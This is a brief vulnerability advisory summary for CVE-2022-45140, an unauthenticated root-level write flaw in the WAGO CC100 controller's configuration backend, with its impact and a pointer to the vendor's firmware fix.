CVE-2022-45140
Overview
This vulnerability is an authentication bypass allowing unauthenticated write access to the configuration backend of the WAGO Compact Controller CC100 (751-9301). The root cause is insufficient access control on the storage interface, permitting arbitrary data writes with root privileges. The affected component is the device's configuration storage subsystem, which lacks proper authentication enforcement.
Vulnerability Description
The configuration backend allows an unauthenticated user to write arbitrary data with root privileges to the storage, which could lead to unauthenticated remote code execution and full system compromise.
Impact
An unauthenticated attacker with network access can exploit this vulnerability to write arbitrary data with root privileges, enabling remote code execution and complete system compromise. No user interaction or prior authentication is required, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:N). This can lead to unauthorized control over the device, data manipulation, and disruption of industrial automation processes.
Solution
WAGO has published advisory VDE-2022-060 addressing this issue. Users should update affected WAGO Compact Controller CC100 firmware to versions that include the fix as detailed in the advisory available at https://cert.vde.com/en/advisories/VDE-2022-060/. Applying the recommended firmware updates for versions 22 and 23 of the 751-9301 and affected 752-8303/8000-002 firmware is required to remediate the vulnerability.
